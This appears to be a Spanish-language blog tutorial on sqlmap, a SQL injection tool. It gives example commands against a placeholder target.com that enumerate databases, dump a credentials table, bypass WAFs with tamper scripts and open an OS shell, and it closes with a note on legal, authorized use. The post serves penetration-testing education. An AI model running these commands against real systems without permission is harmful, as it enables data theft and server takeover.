
SQLmap: Automatizando ataques SQL Injection como un profesional
Publicado el 19 de julio de 2025
SQLmap es una herramienta de código abierto usada para detectar y explotar vulnerabilidades de inyección SQL (SQLi) en aplicaciones web. Es altamente automatizada, poderosa y forma parte del arsenal de cualquier pentester web serio.
🧠 ¿Qué es SQLmap?
SQLmap automatiza el proceso de detección, explotación y toma de control de bases de datos a través de vulnerabilidades de inyección SQL. Soporta múltiples motores de bases de datos y ofrece opciones avanzadas de extracción de datos, escritura de archivos y toma de control del sistema operativo.
🎯 ¿Para qué sirve?
- Detectar vulnerabilidades de tipo SQL Injection (error-based, union-based, time-based, boolean-based, etc.).
- Enumerar bases de datos, tablas y columnas.
- Robar datos (usuarios, contraseñas, correos, etc.).
- Escalar privilegios en el SGBD.
- Leer y escribir archivos del sistema.
- Obtener shells o conexiones reversas.
🔍 Tipos de inyecciones soportadas
Tipo de Inyección | Descripción |
---|---|
Boolean-based | Devuelve verdadero/falso en base a una condición. |
Time-based | Usa tiempos de espera (e.g. SLEEP ) para inferir datos. |
Error-based | Se basa en mensajes de error del motor SQL. |
UNION query | Combina resultados usando UNION SELECT . |
Stacked queries | Ejecuta múltiples consultas con ; . |
Out-of-Band (OOB) | Usa canales externos (DNS, HTTP) para extracción de datos. |
🛠️ Instalación
En Kali Linux ya viene preinstalado. Si usás otro sistema:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
cd sqlmap
python3 sqlmap.py -h
🚀 Ejemplos de uso
1. Detectar vulnerabilidad básica
sqlmap -u "http://target.com/product.php?id=1" --batch
2. Enumerar bases de datos
sqlmap -u "http://target.com/item.php?id=5" --dbs
3. Extraer datos de una tabla específica
sqlmap -u "http://target.com/user.php?id=2" -D usuarios -T credenciales --dump
4. Bypass de WAF y filtros
sqlmap -u "http://target.com/search.php?q=test" --tamper=space2comment
5. Obtener una shell
sqlmap -u "http://target.com/page.php?id=3" --os-shell
⚙️ Flags y opciones útiles
Flag | Descripción |
---|---|
--batch | Ejecuta sin hacer preguntas (modo automático). |
--dbs | Enumera bases de datos. |
--tables | Enumera tablas. |
--columns | Enumera columnas. |
--dump | Vuelca datos. |
--level y --risk | Ajusta agresividad del ataque. |
--tamper | Usa scripts para evadir WAFs. |
--threads | Usa múltiples hilos. |
⚠️ Legalidad y ética
El uso de SQLmap está 100% prohibido en sistemas que no te pertenecen o donde no tenés permiso explícito. Es legal únicamente en:
- Entornos de pruebas.
- Laboratorios como Hack The Box, TryHackMe o DVWA.
- Auditorías profesionales con contrato firmado.
Atacar sitios sin permiso es delito.
✅ Ventajas
- Extremadamente potente.
- Automatización completa.
- Gran soporte para motores SQL (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, etc).
- Soporte para múltiples técnicas evasivas (tamper scripts).
❌ Desventajas
- Puede generar muchas peticiones (detectable).
- Algunas WAFs lo bloquean fácilmente si no se configura bien.
- Requiere experiencia para aprovechar todo su potencial.
📚 Recursos recomendados
- https://sqlmap.org
- https://github.com/sqlmapproject/sqlmap
- HackTheBox: salas como "Injection", "Eternal", "Bashed"
- OWASP DVWA (Damn Vulnerable Web App)
- Curso gratuito en TryHackMe: "SQL Injection"
🧠 Nota: SQLmap no es para "hackear sitios". Es una herramienta de auditoría legal y profesional. Aprender a usarla correctamente te da una gran ventaja para detectar y prevenir vulnerabilidades antes que lo hagan los atacantes.
Artículos recomendados
Cargando recomendaciones...